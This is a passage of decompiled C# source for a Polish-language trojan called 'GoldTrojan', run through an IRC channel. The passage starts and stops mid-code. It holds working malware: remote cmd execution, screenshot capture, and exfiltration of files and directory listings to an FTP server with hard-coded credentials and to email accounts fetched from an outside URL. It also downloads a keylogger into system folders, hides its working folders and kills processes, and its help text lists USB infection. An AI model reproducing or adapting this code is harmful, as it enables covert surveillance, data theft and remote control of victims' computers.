message5 = "-wyjwje - wsuwanie i wysuwanie stacji dysków"; - string message6 = "-pobierz [url] [ścieżka] - pobieranie pliku do wybranej lokalizacji na dysku"; - string message7 = "-otworz [sciezka] - otworzenie pliku"; - string message8 = "-wersja - podanie wersji GoldTrojana"; - string message9 = "-pomoc - wyświetlenie dostępnych komend"; - string message10 = "-informacje - wyświetlenie informacji o systemie"; - string message11 = "-konsola [komenda] - dostęp do cmd"; - string message12 = "-lista procesow - wyświetlenie listy procesów"; - string message13 = "-zabij [nazwa procesu] - zabicie podanego procesu"; - string message14 = "-zabid [ID procesu] - zabicie podanego procesu"; - string message15 = "-komunikat [przycisk] [ikona] [treść komunikatu] [tytuł komunikatu] - wyświetla komunikat, -pomkom po więcej informacji"; - string message16 = "-sprawdz startup - wyswietlenie folderu, w którym jest Startup"; - string message17 = "-wylacz, wyloguj, wylogowac, restart, hibernacja, pobudka"; - string message18 = "-chat [kanał] [nazwa serwera] [nazwa klienta] - wyswietlenie czatu, -ww - napisz wiadomosc, -chu - schowaj czat, -swi - odbierz wiadomości"; - string message19 = "-zrobssf - zrobienie zrzutu ekranu"; - string message20 = "-wyswietl pliki [sciezka] - wyświetlenie plików, -wyswietl foldery [ścieżka] - wyswietlenie folderow"; - string message21 = "-ftp pliki [ścieżka] - wysyła drzewo plików na ftp, -ftp foldery - wysyła drzewo folderów na ftp"; - string message22 = "-ftp drzewo - wysyła drzewo folderów i plików na ftp, -ftp wyslij [sciezka] - wysyla plik na ftp"; - string message23 = "-usun plik [sciezka] - usuwa plik, -usun folder [sciezka] - usuwa folder"; - string message24 = "-sprawdz proces [id] - wyswietla informacje o procesie"; - string message25 = "-sciagnij keyloggera [url] - ściąga keyloggera do jednej ze standardowych lokalizacji"; - string message26 = "-mail folplik [ścieżka] - wysyła wszystkie pliki z folderu o podanej ścieżce na maila"; - string message27 = "-mail wyslij [ścieżka] - wysyła plik o podanej ścieżce na maila"; - string message28 = "-mail pliki [ścieżka] - wysyła drzewo plików na maila, -mail foldery - wysyła drzewo folderów na maila"; - string message29 = "-mail drzewo [ścieżka] - wuysyła drzewo folderów i plików na maila"; - string message30 = "-zrobssm - robi zrzut ekranu i wysyła na maila, -logi - wysyła wiadomości z irca na maila"; - string message31 = "-aktualizuj - aktualizuje program, -wyczysc - czysci dysk z rzutow ekranu itp."; - string message32 = "-zmien tapete - zmienia tapete, -blokuj - blokowanie programow, -infekuj - infekowanie pendrivów"; - string message33 = "-ustawienia - wypisuje ustawienia GT, -rejestr - odczytuje i zmienia rejestr"; - this.irc.SendMessage(SendType.Message, destination, message1); - this.irc.SendMessage(SendType.Message, destination, message2); - this.irc.SendMessage(SendType.Message, destination, message3); - this.irc.SendMessage(SendType.Message, destination, message4); - this.irc.SendMessage(SendType.Message, destination, message5); - this.irc.SendMessage(SendType.Message, destination, message6); - this.irc.SendMessage(SendType.Message, destination, message7); - this.irc.SendMessage(SendType.Message, destination, message8); - this.irc.SendMessage(SendType.Message, destination, message9); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message10); - this.irc.SendMessage(SendType.Message, destination, message11); - this.irc.SendMessage(SendType.Message, destination, message12); - this.irc.SendMessage(SendType.Message, destination, message13); - this.irc.SendMessage(SendType.Message, destination, message14); - this.irc.SendMessage(SendType.Message, destination, message15); - this.irc.SendMessage(SendType.Message, destination, message16); - this.irc.SendMessage(SendType.Message, destination, message17); - this.irc.SendMessage(SendType.Message, destination, message18); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message19); - this.irc.SendMessage(SendType.Message, destination, message20); - this.irc.SendMessage(SendType.Message, destination, message21); - this.irc.SendMessage(SendType.Message, destination, message22); - this.irc.SendMessage(SendType.Message, destination, message23); - this.irc.SendMessage(SendType.Message, destination, message24); - this.irc.SendMessage(SendType.Message, destination, message25); - this.irc.SendMessage(SendType.Message, destination, message26); - this.irc.SendMessage(SendType.Message, destination, message27); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message28); - this.irc.SendMessage(SendType.Message, destination, message29); - this.irc.SendMessage(SendType.Message, destination, message30); - this.irc.SendMessage(SendType.Message, destination, message31); - this.irc.SendMessage(SendType.Message, destination, message32); - this.irc.SendMessage(SendType.Message, destination, message33); - } - - private void PomocVoice() - { - string destination = "#jaknie5"; - string message1 = "GoldTrojan wersja " + this.wer; - string message2 = "Dostępne komendy:"; - string message3 = "-pobierz [url] [ścieżka] - pobieranie pliku do wybranej lokalizacji na dysku"; - string message4 = "-otworz [sciezka] - otworzenie pliku"; - string message5 = "-wersja - podanie wersji GoldTrojana"; - string message6 = "-pomoc - wyświetlenie dostępnych komend"; - string message7 = "-informacje - wyświetlenie informacji o systemie"; - string message8 = "-konsola [komenda] - dostęp do cmd"; - string message9 = "-lista procesow - wyświetlenie listy procesów"; - string message10 = "-zabid [ID procesu] - zabicie podanego procesu"; - string message11 = "-komunikat [przycisk] [ikona] [treść komunikatu] [tytuł komunikatu] - wyświetla komunikat, -pomkom po więcej informacji"; - string message12 = "-sprawdz startup - wyswietlenie folderu, w którym jest Startup"; - string message13 = "-zrobssf - zrobienie zrzutu ekranu"; - string message14 = "-wyswietl pliki [sciezka] - wyświetlenie plików, -wyswietl foldery [ścieżka] - wyswietlenie folderow"; - string message15 = "-ftp pliki [ścieżka] - wysyła drzewo plików na ftp, -ftp foldery - wysyła drzewo folderów na ftp"; - string message16 = "-ftp drzewo - wysyła drzewo folderów i plików na ftp, -ftp wyslij [sciezka] - wysyla plik na ftp"; - string message17 = "-usun plik [sciezka] - usuwa plik, -usun folder [sciezka] - usuwa folder"; - string message18 = "-sprawdz proces [id] - wyswietla informacje o procesie"; - string message19 = "-sciagnij keyloggera [url] - ściąga keyloggera do jednej ze standardowych lokalizacji"; - string message20 = "-mail folplik [ścieżka] - wysyła wszystkie pliki z folderu o podanej ścieżce na maila"; - string message21 = "-mail wyslij [ścieżka] - wysyła plik o podanej ścieżce na maila"; - string message22 = "-mail pliki [ścieżka] - wysyła drzewo plików na maila, -mail foldery - wysyła drzewo folderów na maila"; - string message23 = "-mail drzewo [ścieżka] - wuysyła drzewo folderów i plików na maila"; - string message24 = "-zrobssm - robi zrzut ekranu i wysyła na maila, -logi - wysyła wiadomości z irca na maila"; - string message25 = "-aktualizuj - aktualizuje program, -wyczysc - czysci dysk z rzutow ekranu itp."; - this.irc.SendMessage(SendType.Message, destination, message1); - this.irc.SendMessage(SendType.Message, destination, message2); - this.irc.SendMessage(SendType.Message, destination, message3); - this.irc.SendMessage(SendType.Message, destination, message4); - this.irc.SendMessage(SendType.Message, destination, message5); - this.irc.SendMessage(SendType.Message, destination, message6); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message7); - this.irc.SendMessage(SendType.Message, destination, message8); - this.irc.SendMessage(SendType.Message, destination, message9); - this.irc.SendMessage(SendType.Message, destination, message10); - this.irc.SendMessage(SendType.Message, destination, message11); - this.irc.SendMessage(SendType.Message, destination, message12); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message13); - this.irc.SendMessage(SendType.Message, destination, message14); - this.irc.SendMessage(SendType.Message, destination, message15); - this.irc.SendMessage(SendType.Message, destination, message16); - this.irc.SendMessage(SendType.Message, destination, message17); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message18); - this.irc.SendMessage(SendType.Message, destination, message19); - this.irc.SendMessage(SendType.Message, destination, message20); - this.irc.SendMessage(SendType.Message, destination, message21); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message22); - this.irc.SendMessage(SendType.Message, destination, message23); - this.irc.SendMessage(SendType.Message, destination, message24); - this.irc.SendMessage(SendType.Message, destination, message25); - } - - private void Informacje() - { - string destination = "#jaknie5"; - Environment.GetLogicalDrives(); - string str1 = " "; - string environmentVariable = Environment.GetEnvironmentVariable("windir"); - string userName = Environment.UserName; - string str2 = Convert.ToString((object) Environment.OSVersion); - string machineName = Environment.MachineName; - string systemDirectory = Environment.SystemDirectory; - string userDomainName = Environment.UserDomainName; - string str3 = Convert.ToString((object) Environment.Version); - string str4 = Convert.ToString(Environment.ProcessorCount); - string[] logicalDrives = Environment.GetLogicalDrives(); - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList) - str1 = str1 + address.ToString() + " "; - string message1 = "System " + str2; - string message2 = "Znajduje się w " + environmentVariable; - string message3 = "Folder system32 jest w " + systemDirectory; - string message4 = "Wersja systemu " + str3; - string message5 = "Nazwa maszyny " + machineName; - string message6 = "Domena " + userDomainName; - string message7 = "Nazwa użytkownika " + userName; - string message8 = "Liczba procesorów " + str4; - string message9 = "Dyski: " + string.Join(", ", logicalDrives); - string message10 = "Adres IP " + str1; - string message11 = "Ścieżka do moich dokumentów " + folderPath; - this.irc.SendMessage(SendType.Message, destination, message1); - this.irc.SendMessage(SendType.Message, destination, message4); - this.irc.SendMessage(SendType.Message, destination, message2); - this.irc.SendMessage(SendType.Message, destination, message3); - this.irc.SendMessage(SendType.Message, destination, message5); - this.irc.SendMessage(SendType.Message, destination, message6); - this.irc.SendMessage(SendType.Message, destination, message7); - this.irc.SendMessage(SendType.Message, destination, message8); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message9); - this.irc.SendMessage(SendType.Message, destination, message10); - this.irc.SendMessage(SendType.Message, destination, message11); - } - - private void Konsola() - { - string destination = "#jaknie5"; - string str1 = "wyslano dane z konsoli na ftp"; - string message = "nie wyslano danych z konsoli na ftp"; - string kom = this.kom; - try - { - this.UtworzFolder(); - string str2 = kom.Split('"')[1]; - Process process = new Process(); - process.StartInfo.FileName = "cmd.exe"; - process.StartInfo.RedirectStandardInput = true; - process.StartInfo.RedirectStandardOutput = true; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - process.StandardInput.WriteLine(str2); - process.StandardInput.Flush(); - process.StandardInput.Close(); - string end = process.StandardOutput.ReadToEnd(); - string str3 = "k" + Environment.UserName + Convert.ToString(new Random().Next(1, 1000)) + ".txt"; - string str4 = this.folderbs + "\\" + str3; - StreamWriter streamWriter = new StreamWriter(str4); - streamWriter.WriteLine(end); - streamWriter.Close(); - this.wyslaniepliku = true; - this.Upload(str4); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void Procesy() - { - int num1 = 0; - int num2 = 0; - string[] strArray1 = new string[50]; - string destination = "#jaknie5"; - foreach (Process process in Process.GetProcesses()) - { - ++num1; - string[] strArray2; - int index; - string str = (strArray2 = strArray1)[(IntPtr) (index = num2)] + process.ProcessName + " " + (object) process.Id + " "; - strArray2[index] = str; - if (num1 > 9) - { - ++num2; - num1 = 0; - } - } - for (int index = 0; index < num2; ++index) - this.irc.SendMessage(SendType.Message, destination, strArray1[index]); - } - - private void ZabijProces() - { - string destination = "#jaknie5"; - string[] strArray = this.kom.Split(' '); - string str1 = strArray[1]; - string str2 = strArray[2]; - string message1 = "zabito proces"; - string message2 = "nie zabito procesu"; - Process[] processes = Process.GetProcesses(); - try - { - foreach (Process process in processes) - { - if (process.ProcessName == str2) - process.Kill(); - } - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - private void ZabijIDProces() - { - string destination = "#jaknie5"; - string[] strArray = this.kom.Split(' '); - string str = strArray[1]; - int int32 = Convert.ToInt32(strArray[2]); - string message1 = "zabito proces"; - string message2 = "nie zabito procesu"; - Process[] processes = Process.GetProcesses(); - try - { - foreach (Process process in processes) - { - if (process.Id == int32) - process.Kill(); - } - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - private void Komunikaty() - { - int num1 = 0; - int num2 = 0; - MessageBoxButtons buttons = MessageBoxButtons.OK; - MessageBoxIcon icon = MessageBoxIcon.None; - string destination = "#jaknie5"; - string[] strArray1 = this.kom.Split(' '); - string str1 = strArray1[2]; - string[] strArray2 = this.kom.Split('"'); - string text = strArray2[1]; - string caption = strArray2[3]; - string message1 = "wyświetlono komunikat"; - string message2 = "błędne dane"; - string message3 = "nie wyświetlono komunikatu"; - string str2 = "ponowignoruj"; - string str3 = "ok"; - string str4 = "okanuluj"; - string str5 = "ponowanuluj"; - string str6 = "taknie"; - string str7 = "taknieanuluj"; - string str8 = "gwiazda"; - string str9 = "blad"; - string str10 = "wykrzyknik"; - string str11 = "reka"; - string str12 = "info"; - string str13 = "brak"; - string str14 = "pytanie"; - string str15 = "stop"; - string str16 = "ostrzezenie"; - if (strArray1[2] == str2) - num1 = 1; - if (strArray1[2] == str3) - num1 = 2; - if (strArray1[2] == str4) - num1 = 3; - if (strArray1[2] == str5) - num1 = 4; - if (strArray1[2] == str6) - num1 = 5; - if (strArray1[2] == str7) - num1 = 6; - switch (num1) - { - case 1: - buttons = MessageBoxButtons.AbortRetryIgnore; - break; - case 2: - buttons = MessageBoxButtons.OK; - break; - case 3: - buttons = MessageBoxButtons.OKCancel; - break; - case 4: - buttons = MessageBoxButtons.RetryCancel; - break; - case 5: - buttons = MessageBoxButtons.YesNo; - break; - case 6: - buttons = MessageBoxButtons.YesNoCancel; - break; - default: - this.irc.SendMessage(SendType.Message, destination, message2); - break; - } - if (strArray1[3] == str8) - num2 = 1; - if (strArray1[3] == str9) - num2 = 2; - if (strArray1[3] == str10) - num2 = 3; - if (strArray1[3] == str11) - num2 = 4; - if (strArray1[3] == str12) - num2 = 5; - if (strArray1[3] == str13) - num2 = 6; - if (strArray1[3] == str14) - num2 = 7; - if (strArray1[3] == str15) - num2 = 8; - if (strArray1[3] == str16) - num2 = 9; - switch (num2) - { - case 1: - icon = MessageBoxIcon.Asterisk; - break; - case 2: - icon = MessageBoxIcon.Hand; - break; - case 3: - icon = MessageBoxIcon.Exclamation; - break; - case 4: - icon = MessageBoxIcon.Hand; - break; - case 5: - icon = MessageBoxIcon.Asterisk; - break; - case 6: - icon = MessageBoxIcon.None; - break; - case 7: - icon = MessageBoxIcon.Question; - break; - case 8: - icon = MessageBoxIcon.Hand; - break; - case 9: - icon = MessageBoxIcon.Exclamation; - break; - default: - this.irc.SendMessage(SendType.Message, destination, message2); - break; - } - try - { - int num3 = (int) MessageBox.Show(text, caption, buttons, icon); - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message3); - } - } - - private void PomocKomunikaty() - { - string destination = "#jaknie5"; - string message1 = "Dostępne opcje:"; - string message2 = "Przyciski"; - string message3 = "-ponowignoruj"; - string message4 = "-ok"; - string message5 = "-okanuluj"; - string message6 = "-ponowanuluj"; - string message7 = "-taknie"; - string message8 = "-taknieanuluj"; - string message9 = "Ikony:"; - string message10 = "-gwiazda"; - string message11 = "-blad"; - string message12 = "-wykrzyknik"; - string message13 = "-reka"; - string message14 = "-info"; - string message15 = "-brak"; - string message16 = "-pytanie"; - string message17 = "-stop"; - string message18 = "-ostrzezenie"; - this.irc.SendMessage(SendType.Message, destination, message1); - this.irc.SendMessage(SendType.Message, destination, message2); - this.irc.SendMessage(SendType.Message, destination, message3); - this.irc.SendMessage(SendType.Message, destination, message4); - this.irc.SendMessage(SendType.Message, destination, message5); - this.irc.SendMessage(SendType.Message, destination, message6); - this.irc.SendMessage(SendType.Message, destination, message7); - this.irc.SendMessage(SendType.Message, destination, message8); - this.irc.SendMessage(SendType.Message, destination, message9); - Thread.Sleep(10000); - this.irc.SendMessage(SendType.Message, destination, message10); - this.irc.SendMessage(SendType.Message, destination, message11); - this.irc.SendMessage(SendType.Message, destination, message12); - this.irc.SendMessage(SendType.Message, destination, message13); - this.irc.SendMessage(SendType.Message, destination, message14); - this.irc.SendMessage(SendType.Message, destination, message15); - this.irc.SendMessage(SendType.Message, destination, message16); - this.irc.SendMessage(SendType.Message, destination, message17); - this.irc.SendMessage(SendType.Message, destination, message18); - } - - [DllImport("user32.dll")] - public static extern int ExitWindowsEx(int uFlags, int dwReason); - - private void wylacz() - { - try - { - Form1.ExitWindowsEx(1, 0); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono"); - } - } - - private void wyloguj() - { - try - { - Form1.ExitWindowsEx(0, 0); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wylogowano"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wylogowano"); - } - } - - private void wyloguj2() - { - try - { - Form1.ExitWindowsEx(4, 0); - this.irc.SendMessage(SendType.Message, "#jaknie5", "wylogowano"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wylogowano"); - } - } - - private void restart() - { - try - { - Form1.ExitWindowsEx(2, 0); - this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (restart)); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "restart nie powiódł się"); - } - } - - private void hibernacja() - { - try - { - Application.SetSuspendState(PowerState.Hibernate, true, true); - this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (hibernacja)); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "hibernacja nie powiodła się"); - } - } - - private void pobudka() - { - try - { - Application.SetSuspendState(PowerState.Suspend, true, true); - this.irc.SendMessage(SendType.Message, "#jaknie5", nameof (pobudka)); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "pobudka nie powiodła się"); - } - } - - private void PobierzStartup() - { - try - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "Folder Starup znajduje sie w " + Environment.GetFolderPath(Environment.SpecialFolder.Startup)); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie powiodło się"); - } - } - - private void PokazChat() - { - this.ch = new Chat(); - string[] strArray = this.kom.Split(' '); - this.chk = strArray[2]; - string nickser = strArray[3]; - string nickofiary = strArray[4]; - this.ch.Show(); - this.irc.WriteLine("join " + this.chk); - this.ch.Dane(nickser, nickofiary); - this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono czat"); - } - - private void WyslijWiadomosc() - { - try - { - this.ch.WyswietlWiadomosc(this.kom.Split('"')[1]); - this.irc.SendMessage(SendType.Message, this.chk, "wysłano wiadomość"); - } - catch - { - this.irc.SendMessage(SendType.Message, this.chk, "nie wysłano wiadomości"); - } - } - - private void OdbierzWiadomosc() - { - if (this.ch.txt == null) - return; - this.irc.SendMessage(SendType.Message, this.chk, this.ch.txt); - this.ch.txt = ""; - } - - private void SchowajChat() - { - try - { - this.ch.Hide(); - this.irc.SendMessage(SendType.Message, "#jaknie5", "schowano czat"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie schowano czatu"); - } - } - - private void ftpZrobSS() - { - try - { - this.UtworzFolder(); - DateTime now = DateTime.Now; - int hour = now.Hour; - int minute = now.Minute; - int second = now.Second; - string str = Environment.UserName + (Convert.ToString(hour) + Convert.ToString(minute) + Convert.ToString(second)) + ".jpeg"; - string filename = this.folderbs + "\\" + str; - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb); - Graphics.FromImage((Image) bitmap).CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); - bitmap.Save(filename, ImageFormat.Jpeg); - this.wyslaniepliku = true; - this.Upload(filename); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, "#jaknie5", "zrobiono zrzut ekranu o nazwie " + str); - else - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu"); - } - catch - { - this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu"); - } - } - - private void Upload(string filename) - { - int num = 0; - do - { - string str1 = "poprostuchlopie.yoyo.pl"; - string userName = "poprostuchlopie.yoyo.pl"; - string password = "tester12"; - FileInfo fileInfo = new FileInfo(filename); - string str2 = "ftp://" + str1 + "/" + fileInfo.Name; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + str1 + "/" + fileInfo.Name)); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(userName, password); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - this.wyslaniepliku = true; - } - catch (Exception ex) - { - this.wyslaniepliku = false; - } - Thread.Sleep(2000); - ++num; - } - while (!this.wyslaniepliku && num < 30); - } - - private void SprawdzPliki() - { - string destination = "#jaknie5"; - string message1 = "nie wyświetlono plików"; - string kom = this.kom; - try - { - string[] strArray = kom.Split('"'); - string message2 = string.Join(", ", Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames)); - this.irc.SendMessage(SendType.Message, destination, message2); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message1); - } - } - - private void ftpWyswietlPliki() - { - string destination = "#jaknie5"; - string str1 = "wyslano drzewo plików na ftp"; - string message = "nie wyslano drzewa plików na ftp"; - string kom = this.kom; - try - { - this.UtworzFolder(); - string[] strArray = kom.Split('"'); - string str2 = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames)); - string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt"; - string str4 = this.folderbs + "\\" + str3; - StreamWriter streamWriter = new StreamWriter(str4); - streamWriter.WriteLine(str2); - streamWriter.Close(); - this.wyslaniepliku = true; - this.Upload(str4); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void ftpWyswietlKatalogi() - { - string destination = "#jaknie5"; - string str1 = "wyslano drzewo katalogów na ftp"; - string message = "nie wyslano drzewa katalogów na ftp"; - string kom = this.kom; - try - { - this.UtworzFolder(); - string[] strArray = kom.Split('"'); - string str2 = string.Join(Environment.NewLine, Directory.GetDirectories(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames)); - string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt"; - string str4 = this.folderbs + "\\" + str3; - StreamWriter streamWriter = new StreamWriter(str4); - streamWriter.WriteLine(str2); - streamWriter.Close(); - this.wyslaniepliku = true; - this.Upload(str4); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void ftpWyswietlDrzewo() - { - string destination = "#jaknie5"; - string str1 = "wyslano drzewo plików i katalogów na ftp"; - string message = "nie wyslano drzewa plików i katalogów na ftp"; - string kom = this.kom; - try - { - this.UtworzFolder(); - string[] strArray = kom.Split('"'); - string str2 = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames, "*.*", SearchOption.AllDirectories)); - string str3 = Environment.UserName + Convert.ToString(new Random().Next(1, 10000)) + ".txt"; - string str4 = this.folderbs + "\\" + str3; - StreamWriter streamWriter = new StreamWriter(str4); - streamWriter.WriteLine(str2); - streamWriter.Close(); - this.wyslaniepliku = true; - this.Upload(str4); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, str1 + " o nazwie " + str3); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void ftpWyslijPliki() - { - string destination = "#jaknie5"; - string message1 = "wyslano pliki"; - string message2 = "nie wysłano plików"; - string kom = this.kom; - try - { - string[] strArray = kom.Split('"'); - string filename = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]; - this.wyslaniepliku = true; - this.Upload(filename); - if (this.wyslaniepliku) - this.irc.SendMessage(SendType.Message, destination, message1); - else - this.irc.SendMessage(SendType.Message, destination, message2); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - private void UtworzFolder() - { - try - { - try - { - string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft"; - if (!Directory.Exists(path)) - Directory.CreateDirectory(path); - new DirectoryInfo(path).Attributes |= FileAttributes.Hidden; - } - catch - { - string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess"; - if (!Directory.Exists(path)) - Directory.CreateDirectory(path); - new DirectoryInfo(path).Attributes |= FileAttributes.Hidden; - } - } - catch - { - } - } - - private void UsunPlik() - { - string destination = "#jaknie5"; - string message1 = "usunięto plik"; - string message2 = "nie usunięto pliku"; - string kom = this.kom; - try - { - string[] strArray = kom.Split('"'); - System.IO.File.Delete(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]); - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - private void UsunFolder() - { - string destination = "#jaknie5"; - string message1 = "usunięto folder"; - string message2 = "nie usunięto folderu"; - string kom = this.kom; - try - { - Directory.Delete(kom.Split('"')[1]); - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message2); - } - } - - public string GetProcessOwner(int processId) - { - foreach (ManagementObject managementObject in new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + (object) processId).Get()) - { - string[] args = new string[2] - { - string.Empty, - string.Empty - }; - if (Convert.ToInt32(managementObject.InvokeMethod("GetOwner", (object[]) args)) == 0) - { - this.sprproc = true; - return args[1] + "\\" + args[0]; - } - } - this.sprproc = false; - return "brak danych"; - } - - private void SprawdzProces() - { - string destination = "#jaknie5"; - int int32 = Convert.ToInt32(this.kom.Split(' ')[3]); - string str = "Użytkownik "; - string message1 = "brak danych"; - Process.GetProcesses(); - try - { - string message2 = str + this.GetProcessOwner(int32); - if (this.sprproc) - this.irc.SendMessage(SendType.Message, destination, message2); - else - this.irc.SendMessage(SendType.Message, destination, message1); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message1); - } - } - - private void PobierzKeyloggera() - { - FileDownloader fileDownloader = new FileDownloader(); - string kom = this.kom; - string str1 = "pobrano keyloggera do folderu "; - string message = "nie pobrano keyloggera"; - string destination = "#jaknie5"; - try - { - string url = kom.Split(' ')[3]; - string[] strArray = new string[10] - { - Environment.SystemDirectory + "\\", - Environment.GetEnvironmentVariable("windir") + "\\", - "C:\\", - "D:\\", - Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\", - null, - null, - null, - null, - null - }; - bool flag; - string str2; - try - { - try - { - try - { - try - { - fileDownloader.Download(url, strArray[0]); - flag = true; - str2 = strArray[0]; - } - catch - { - fileDownloader.Download(url, strArray[1]); - flag = true; - str2 = strArray[1]; - } - } - catch - { - fileDownloader.Download(url, strArray[2]); - flag = true; - str2 = strArray[2]; - } - } - catch - { - fileDownloader.Download(url, strArray[3]); - flag = true; - str2 = strArray[3]; - } - } - catch - { - fileDownloader.Download(url, strArray[4]); - flag = true; - str2 = strArray[4]; - } - if (flag) - this.irc.SendMessage(SendType.Message, destination, str1 + str2); - else - this.irc.SendMessage(SendType.Message, destination, message); - } - catch - { - this.irc.SendMessage(SendType.Message, destination, message); - } - } - - private void mailUpload(string temat, string tekst, string zalacznik) - { - int num = 0; - try - { - do - { - string[] strArray = new WebClient().DownloadString("http://krzycho.yoyo.pl/maile.txt").Split(new string[1] - { - "\r\n" - }, StringSplitOptions.None); - int maxValue = 0; - foreach (string str in strArray) - ++maxValue; - int index = new Random().Next(1, maxValue); - MailMessage mailMessage = new MailMessage(); - SmtpClient smtpClient = new SmtpClient("smtp.mail.ru", 2525); - smtpClient.UseDefaultCredentials = false; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray[index], "tester12"); - smtpClient.EnableSsl = false; - smtpClient.Timeout = 6000000; - MailMessage message = new MailMessage(); - string addresses = strArray[0]; - message.From = new MailAddress(strArray[index], this.irc.Nickname, Encoding.UTF8); - message.To.Add(addresses); - message.Subject = temat + " - " + this.irc.Nickname; - message.Body = tekst; - if (zalacznik.Length > 1) - message.Attachments.Add(new Attachment(zalacznik)); - message.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; - smtpClient.Send(message); - this.wyslaniepliku = true; - Thread.Sleep(2000); - ++num; - } - while (!this.wyslaniepliku && num < 20); - } - catch - { - } - } - - private void mailWyslijFolder() - { - int num1 = 0; - do - { - string destination = "#jaknie5"; - string message1 = "wysłano pliki na maila"; - string str1 = "nie wysłano plików na maila"; - string kom = this.kom; - try - { - string[] strArray1 = 